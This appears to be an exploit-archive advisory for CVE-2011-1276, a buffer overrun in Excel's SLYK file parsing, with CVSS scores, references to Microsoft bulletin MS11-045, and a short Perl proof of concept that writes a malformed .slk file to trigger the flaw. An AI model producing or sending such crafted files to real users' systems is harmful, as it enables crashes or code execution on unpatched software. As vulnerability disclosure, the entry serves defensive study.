Excel SLYK Format Parsing Buffer Overrun Vulnerability

2011.08.10

Credit: webDEViL

Risk: High

Local: No

Remote: Yes

CVE: CVE-2011-1276

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Exploit Title: Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC
# Date: [date]
# Author: webDEViL
# Software Link: [download link if available]
# Version: [app version]
# Tested on: ALL
# CVE : CVE-2011-1276

# w3bd3vil[at]gmail[dot]com
# twitter.com/w3bd3vil

open (FILE, '>>CVE-2011-1276.slk');
print FILE "ID;P\n";
print FILE "P;PAAAA\n"x550;
print FILE "P";
close (FILE);

References:

http://www.microsoft.com/technet/security/Bulletin/MS11-045.mspx

http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:12451

http://oval.mitre.org/repository/data/DownloadDefinition?id=oval:org.mitre.oval:def:12451

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Excel SLYK Format Parsing Buffer Overrun Vulnerability

References:

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